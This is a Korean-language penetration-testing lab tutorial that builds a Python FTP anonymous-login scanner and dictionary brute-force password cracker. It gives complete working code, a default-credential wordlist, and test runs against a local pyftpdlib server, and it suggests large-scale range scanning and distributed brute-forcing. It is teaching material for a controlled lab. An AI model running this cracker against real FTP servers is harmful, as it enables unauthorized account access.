소개
이 프로젝트는 Python 을 사용하여 FTP 취약 암호 스캐너를 구현하는 것으로 시작하며, Python 침투 테스트 기술에 대한 소개를 제공합니다. 이 실험은 FTP 서버 원리, ftplib 라이브러리 사용 및 기타 관련 지식을 이해하는 것을 포함합니다.
- FTP 서버 이해: FTP 서버, 그 목적 및 작동 방식에 대해 알아봅니다.
- FTPlib 라이브러리 사용: Python 에서 ftplib 라이브러리를 사용하여 FTP 익명 스캐너와 무차별 대입 암호 크래커를 구현합니다.
- argparse 라이브러리 사용: Python 에서 argparse 라이브러리를 사용하여 명령줄 인수를 처리하는 방법을 배웁니다.
- Ubuntu 에 FTP 서버 설정: 테스트 목적으로 로컬에 FTP 서버를 설정하기 위한 지침을 따릅니다.
이 프로젝트는 중간 난이도이며 Python 에 대한 기본적인 이해가 있는 사용자에게 적합합니다. Python 기본 사항에 대한 지식을 향상시키고 공고히 하며 Python 침투 테스트 기술에 대한 실질적인 경험을 얻을 수 있는 좋은 기회입니다.
👀 미리보기
python3 ftpScanner.py -H 127.0.0.1 -f pwd.txt
[-] 127.0.0.1 FTP Anonymous logon failure!
[+] Trying: ftp:ftp
[+] Trying: root:root
[+] Trying: root:toor
[+] Trying: admin:admin
[+] Trying: geust:geust
[+] Trying: admin:123456
[+] 127.0.0.1 FTP Login successful: admin:123456
[+] Host: 127.0.0.1 Username: admin Password: 123456
[*]-------------------Scan End!--------------------[*]
🎯 작업
이 프로젝트에서 다음을 배우게 됩니다.
- FTP 서버의 작동 원리를 이해하는 방법
- Python 에서 ftplib 라이브러리를 사용하여 FTP 익명 스캐너를 구현하는 방법
- 암호 사전 (password dictionary) 을 사용하여 FTP 서버에 대한 무차별 대입 암호 크래커를 구현하는 방법
- argparse 라이브러리를 사용하여 명령줄 인수를 처리하는 방법
- 테스트 목적으로 Ubuntu 에 FTP 서버를 설정하는 방법
🏆 성과
이 프로젝트를 완료하면 다음을 수행할 수 있습니다.
- Python 을 사용하여 FTP 서버와 상호 작용
- 익명 로그인 및 취약한 암호에 대한 스캔 구현
- Python 에서 명령줄 인수 처리
- Ubuntu 에 FTP 서버 설정
FTP 서버
FTP 서버 (File Transfer Protocol Server) 는 FTP 프로토콜을 따르며 인터넷에서 파일 저장 및 액세스 서비스를 제공하는 컴퓨터입니다. FTP 는 파일 전송 프로토콜 (File Transfer Protocol) 의 약자로, 파일 전송을 위해 특별히 설계된 프로토콜입니다. 간단히 말해, FTP 프로토콜을 지원하는 서버가 FTP 서버입니다.
FTP 는 TCP 만을 기반으로 하는 서비스이며 UDP 를 지원하지 않습니다. FTP 를 차별화하는 점은 데이터 포트와 명령 포트 (제어 포트라고도 함) 의 두 개의 포트를 사용한다는 것입니다. 일반적으로 이 두 포트는 21 (명령 포트) 과 20 (데이터 포트) 입니다. 그러나 데이터 포트는 FTP 의 작동 모드에 따라 항상 20 은 아닙니다. 이것이 액티브 (active) FTP 와 패시브 (passive) FTP 의 주요 차이점입니다. 주로 두 가지 작동 모드가 있습니다.
- 액티브 FTP (Active FTP)
FTP 서버의 제어 포트는 21 이고 데이터 포트는 20 입니다. 따라서 정적 매핑을 설정할 때 포트 21 만 열면 됩니다. 서버는 포트 20 을 사용하여 클라이언트와 연결을 시작합니다.
- 패시브 FTP (Passive FTP)
서버의 제어 포트는 21 이고 데이터 포트는 임의로 할당됩니다. 클라이언트는 해당 데이터 포트에 대한 연결을 시작하므로 정적 매핑을 위해 포트 21 만 여는 것으로는 충분하지 않습니다. 이 경우 DMZ (Demilitarized Zone, 비무장 지대) 가 필요합니다.
이 프로젝트에서 FTP 스캐너 개발은 다음 두 가지 측면에 중점을 둡니다.
- 익명 FTP 스캔
익명 FTP 로그인을 스캔하는 것은 주로 일괄 스캔에 사용됩니다. 단일 FTP 서버를 스캔하는 성공률은 비교적 낮지만, 여전히 성공할 가능성은 있습니다. 어떤 사람들은 아직도 암호를 설정하지 않는 사람이 있냐고 궁금해할 수 있습니다. 많은 웹사이트가 여전히 사용자에게 리소스를 다운로드할 수 있도록 FTP 서비스를 제공하므로 익명 로그인을 허용하는 것은 놀라운 일이 아닙니다. 더욱 놀라운 것은 웹사이트 관리자가 웹사이트 액세스 소프트웨어를 업데이트하기 위해 FTP 익명 로그인을 연다는 것입니다. 이는 특히 후자의 유형의 서버를 공격할 때 많은 기회를 제공하며, 이는 공격에 취약합니다. 앞으로 FTP 디렉토리에서 웹 페이지를 찾은 후 쉘을 얻는 방법을 설명하겠습니다.
- 취약한 FTP 암호 스캔
취약한 FTP 암호 스캔은 본질적으로 무차별 대입 (brute-forcing) 입니다. 왜 무차별 대입이라고 부르지 않습니까? 가능한 모든 조합이 아니라 몇 가지 간단한 암호 조합만 스캔하기 때문입니다. 게다가, 우리가 수천 년을 살지 않을 것을 고려하면, 무차별 대입할 시간이 그렇게 많지 않습니다! 그냥 암호일 뿐입니다. 취약한 암호를 찾을 수 없으면 다음으로 넘어갈 수 있습니다. 세상에 무수히 많은 다른 꽃들이 있는데 왜 한 꽃에 집착해야 합니까? 그러나 이 FTP 서버가 정말 마음에 든다면, 앞으로 서버를 침투하는 다른 방법을 알려드리겠습니다!
FTP 익명 스캐너 구현
이 경우, Python 의 ftplib 라이브러리에서 FTP 클래스를 사용합니다. FTP 클래스는 FTP 클라이언트의 대부분의 기능을 구현하며, FTP 서버에 연결, 서버의 파일 보기, 파일 업로드 및 다운로드 등이 있습니다. 다음으로, 익명 로그인을 허용하는 FTP 서버의 스캔을 구현하기 위해 anonScan(hostname) 함수를 정의합니다. 코드는 다음과 같습니다.
## Anonymous login scanner
def anonScan(hostname): ## The parameter is the hostname
try:
with FTP(hostname) as ftp: ## Create an FTP object
ftp.login() ## FTP anonymous login
print('\n[*] ' + str(hostname) + " FTP Anonymous login successful!") ## If no exception is raised, it means login succeeded
return True
except Exception as e: ## If an exception is raised, it means anonymous login failed
print('\n[-] ' + str(hostname) + " FTP Anonymous logon failure!")
return False
코드는 간결하며, 주석은 코드의 의미를 설명합니다. 이 함수의 전체적인 아이디어는 다음과 같습니다. 먼저, 호스트 이름을 사용하여 FTP 객체 (ftp 라고 명명) 를 구성합니다. 그런 다음, 이 ftp 객체에서 매개변수 없이 login() 함수를 호출하여 FTP 서버에 익명 로그인을 시작합니다. 로그인 과정에서 예외가 발생하지 않으면 익명 로그인이 성공한 것이고, 그렇지 않으면 익명 로그인이 실패한 것입니다.
FTP 취약 비밀번호 스캔
FTP 에서 취약한 암호를 스캔하는 것은 사용자 이름과 암호 사전에 의존합니다. 실험 환경에서는 ~/project/pwd.txt가 암호 사전으로 제공됩니다.
ftp:ftp
root:root
root:toor
admin:admin
geust:geust
admin:123456
charlie:brown
mickey:mouse
daffy:duck
1012NW:bezoek
bugs:bunny
donald:duck
minnie:mouse
elmer:fudd
tweety:bird
alfonse:capone
al:capone
albert:einstein
open:saysme
open:sayzme
open:sezme
다음으로, 사전의 형식에 따라 FTP 취약 암호 스캔을 구현하기 위해 ~/project 디렉토리에 코드 파일 ftpScanner.py를 생성합니다. 코드는 다음과 같습니다.
## Bruteforce cracking
def vlcLogin(hostname, pwdFile): ## Parameters (hostname, dictionary file)
try:
with open(pwdFile, 'r') as pf: ## Open the dictionary file
for line in pf.readlines(): ## Read each line in the dictionary file
time.sleep(1) ## Wait for 1 second
userName = line.split(':')[0] ## Extract the username from the read content
passWord = line.split(':')[1].strip('\r').strip('\n') ## Extract the password from the read content
print('[+] Trying: ' + userName + ':' + passWord)
try:
with FTP(hostname) as ftp: ## Create an FTP object with the hostname as parameter
ftp.login(userName, passWord) ## Log in to the FTP server using the extracted username and password
## If no exception is raised, the login is successful, print the hostname, username, and password
print('\n[+] ' + str(hostname) + ' FTP Login successful: '+ \
userName + ':' + passWord)
return (userName, passWord)
except Exception as e:
## If an exception is raised, it means the login was not successful, we continue trying other usernames and passwords
pass
except IOError as e:
print('Error: the password file does not exist!')
print('\n[-] Cannot crack the FTP password, please change the password dictionary try again!')
return (None,None)
이 코드 조각은 사전을 반복하여 사용자 이름과 암호를 읽고 로그인을 시도합니다. 로그인이 성공하면 사용자 이름과 암호가 발견된 것입니다. 이 함수는 호스트 이름을 쉼표 (",") 로 구분할 수 있는 문자열로 정의합니다. 암호를 찾았다고 해서 프로그램이 종료되는 것이 아니라, 모든 호스트를 스캔할 때까지 다른 호스트에서 취약한 암호 스캔을 계속합니다.
명령줄 파싱
지금까지, 우리의 FTP 스캐너는 거의 완성되었습니다. 코드는 길지 않고 매우 간단합니다. 이제 해야 할 일은 스크립트가 명령줄 입력을 처리하여 스캔할 호스트를 제어할 수 있도록 하는 것입니다. 명령줄 인수를 처리하기 위해 Python 의 argparse 라이브러리를 사용합니다. 이 라이브러리는 Python 의 내장 모듈이며 명령줄 구문 분석을 매우 간단하게 만듭니다. 다음 코드를 보면서 argparse 의 강력함을 확인해 보겠습니다.
## Creating an ArgumentParser object using a description
parser = argparse.ArgumentParser(description='FTP Scanner')
## Adding the -H command, where dest refers to the variable name we use to retrieve the value passed after -H, and help provides the help information for this command
parser.add_argument('-H', dest='hostName', help='The host list with "," space')
parser.add_argument('-f', dest='pwdFile', help='Password dictionary file')
options = None
try:
options = parser.parse_args()
except:
print(parser.parse_args(['-h']))
exit(0)
hostNames = str(options.hostName).split(',')
pwdFile = options.pwdFile
argparse 라이브러리를 사용하여 명령줄 인수를 구문 분석하면 인수를 추가할 때 제공된 help 키워드를 기반으로 도움말 문서를 자동으로 생성할 수 있습니다. 결과는 다음과 같습니다.
python3 ftpScanner.py -h
usage: ftpScanner.py [-h] [-H HOSTNAME] [-f PWDFILE]
FTP Scanner
optional arguments:
-h, --help show this help message and exit
-H HOSTNAME The host list with "," space
-f PWDFILE Password dictionary file
복잡한 명령을 처리할 때 argparse 의 강력함이 더욱 분명해집니다. 이것은 Python 의 기본 기능이므로 Python 에 포함된 라이브러리에 대해 자세히 설명하지 않겠습니다.
전체 코드 통합
기본 코드가 구현되었으며 이제 위 코드를 통합하기만 하면 됩니다. 코드는 다음과 같습니다.
from ftplib import *
import argparse
import time
## Anonymous login scan
def anonScan(hostname):
try:
with FTP(hostname) as ftp:
ftp.login()
print('\n[*] ' + str(hostname) + " FTP Anonymous login successful!")
return True
except Exception as e:
print('\n[-] ' + str(hostname) + " FTP Anonymous logon failure!")
return False
## Brute force attack
def vlcLogin(hostname, pwdFile):
try:
with open(pwdFile, 'r') as pf:
for line in pf.readlines():
time.sleep(1)
userName = line.split(':')[0]
passWord = line.split(':')[1].strip('\r').strip('\n')
print('[+] Trying: ' + userName + ':' + passWord)
try:
with FTP(hostname) as ftp:
ftp.login(userName, passWord)
print('\n[+] ' + str(hostname) + ' FTP Login successful: '+ \
userName + ':' + passWord)
return (userName, passWord)
except Exception as e:
pass
except IOError as e:
print('Error: the password file does not exist!')
print('\n[-] Cannot crack the FTP password, please change the password dictionary try again!')
return (None,None)
def main():
parser = argparse.ArgumentParser(description='FTP Scanner')
parser.add_argument('-H',dest='hostName',help='The host list with ","space')
parser.add_argument('-f',dest='pwdFile',help='Password dictionary file')
options = None
try:
options = parser.parse_args()
except:
print(parser.parse_args(['-h']))
exit(0)
hostNames = str(options.hostName).split(',')
pwdFile = options.pwdFile
if hostNames == ['None']:
print(parser.parse_args(['-h']))
exit(0)
for hostName in hostNames:
username = None
password = None
if anonScan(hostName) == True:
print('Host: ' + hostName + ' Can anonymously!')
elif pwdFile != None:
(username,password) = vlcLogin(hostName,pwdFile)
if password != None:
print('\n[+] Host: ' + hostName + 'Username: ' + username + \
'Password: ' + password)
print('\n[*]-------------------Scan End!--------------------[*]')
if __name__ == '__main__':
main()
이로써 코드가 완성되었습니다. 몇 가지 수정을 통해 이 스캐너를 더욱 강력하게 만들 수 있습니다. 예를 들어, 호스트 이름을 범위 내에서 지정하여 대규모 스캔을 수행하거나, 코드를 수정하여 FTP 사용자 이름 및 암호에 대한 분산 무차별 대입 공격을 구현하여 사전 용량을 늘리고 성공률을 크게 향상시킬 수 있습니다.
FTP 서버 설정
다음으로, 스캐너를 테스트하기 위해 로컬에서 FTP 서버를 설정해야 합니다. 여기서는 Python 의 pyftpdlib 라이브러리를 사용하여 FTP 서버를 설정합니다. pyftpdlib 는 FTP 서버를 위한 Python 라이브러리로, FTP 서버를 빠르게 구축하는 데 사용할 수 있습니다. pyftpdlib 설치는 매우 간단하며, pip 명령을 사용하면 됩니다. 터미널에 다음 명령을 입력하여 pyftpdlib 라이브러리를 설치합니다.
sudo pip install pyftpdlib
sudo python3 -m pyftpdlib -p 21
기본적으로 익명 로그인이 허용됩니다.
스캔 테스트
이제 환경이 설정되었으므로 FTP 취약 암호 스캐너를 테스트할 수 있습니다.
cd ~/project
python3 ftpScanner.py -H 127.0.0.1 -f pwd.txt
[*] 127.0.0.1 FTP Anonymous login successful!
Host: 127.0.0.1 Can be accessed anonymously!
[*]-------------------Scan End!--------------------[*]
이 테스트에서는 주로 익명 로그인에 중점을 둡니다. 취약 암호에 대한 무차별 대입 공격의 경우, 자신만의 암호 사전을 찾아 FTP 서버를 크래킹해 볼 수 있습니다.
이제 FTP 서버에 암호를 추가하고 다시 테스트해 보겠습니다. 먼저 FTP 서버를 중지하고 암호와 함께 다시 시작해야 합니다.
sudo python3 -m pyftpdlib -p 21 -u admin -P 123456
python3 ftpScanner.py -H 127.0.0.1 -f pwd.txt
[-] 127.0.0.1 FTP Anonymous logon failure!
[+] Trying: ftp:ftp
[+] Trying: root:root
[+] Trying: root:toor
[+] Trying: admin:admin
[+] Trying: geust:geust
[+] Trying: admin:123456
[+] 127.0.0.1 FTP Login successful: admin:123456
[+] Host: 127.0.0.1 Username: admin Password: 123456
[*]-------------------Scan End!--------------------[*]
요약
이 프로젝트는 다음과 같은 주요 사항을 활용하여 FTP 취약 암호 스캐너를 구현합니다.
- FTP 서버의 기본 개념
- FTPlib 를 사용한 FTP 취약 암호 스캐너의 단계별 구현
- argparse 를 사용한 명령줄 인수 구문 분석 (Parsing)
- 테스트 환경 설정 방법



